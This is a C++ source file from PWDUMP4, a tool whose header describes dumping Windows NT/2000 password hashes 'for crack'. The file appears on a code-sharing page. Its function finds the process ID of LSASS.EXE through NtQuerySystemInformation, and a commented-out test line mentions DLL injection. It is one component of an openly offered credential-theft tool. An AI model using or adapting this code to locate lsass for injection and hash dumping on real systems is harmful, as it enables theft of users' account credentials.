📄 getpid.cpp
字号:
/***************************************************************************
* Program: PWDUMP4 - dump winnt/2000 user/password hash remote or local for crack
*
* Copyright (c) 2002, 2003 bingle, all rights reserved
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Author: bingle@email.com.cn
* File: GetPID.cpp
* Purpose: get process id of lsass.exe
* Date: 2002-1-20
*
***************************************************************************/
#include <windows.h>
typedef unsigned long NTSTATUS;
typedef struct
{
USHORT Length;
USHORT MaxLen;
USHORT *Buffer;
} UNICODE_STRING;
typedef NTSTATUS (__stdcall *NtQSI_t)( ULONG, PVOID, ULONG, PULONG );
typedef LONG (__stdcall *RtlCUS_t)( UNICODE_STRING*, UNICODE_STRING*, ULONG );
NTSTATUS (__stdcall *NtQuerySystemInformation)( IN ULONG SysInfoClass, IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength, OUT PULONG RetLen );
LONG (__stdcall *RtlCompareUnicodeString)( IN UNICODE_STRING*, IN UNICODE_STRING*, IN ULONG CaseInsensitve );
struct process_info
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
ULONG BasePriority;
ULONG ProcessId;
// etc.
};
// Find the pid of LSASS.EXE
DWORD GetLsassPid( )
{
HINSTANCE hNtDll;
NTSTATUS rc;
ULONG ulNeed = 0;
void *buf = NULL;
size_t len = 0;
int ret = 0;
hNtDll = LoadLibrary( "NTDLL" );
if( !hNtDll )
return 0;
NtQuerySystemInformation = (NtQSI_t)GetProcAddress( hNtDll, "NtQuerySystemInformation" );
if (!NtQuerySystemInformation)
return 0;
RtlCompareUnicodeString = (RtlCUS_t)GetProcAddress( hNtDll, "RtlCompareUnicodeString" );
if( !RtlCompareUnicodeString )
return 0;
do
{
delete[] buf;
len += 2000;
buf = new BYTE[len];
if( !buf )
return 0;
rc = NtQuerySystemInformation( 5, buf, len, &ulNeed );
} while( rc == 0xc0000004 ); // STATUS_INFO_LEN_MISMATCH
if( rc <0 )
{
delete[] buf;
return 0;
}
// Find process info structure for LSASS
{
struct process_info *p = (struct process_info*)buf;
bool endlist = false;
UNICODE_STRING lsass = { 18, 20, L"LSASS.EXE" };
// UNICODE_STRING lsass = { 20, 22, L"conime.EXE" }; //just for test InjectDll & Dll
while( !endlist )
{
if( p->ProcessName.Buffer && !RtlCompareUnicodeString( &lsass, &p->ProcessName, 1 ) )
{
ret = p->ProcessId;
goto exit;
}
endlist = p->NextEntryDelta == 0;
p = (struct process_info *)(((BYTE*)p) + p->NextEntryDelta);
}
}
exit:
delete[] buf;
FreeLibrary( hNtDll );
return ret;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -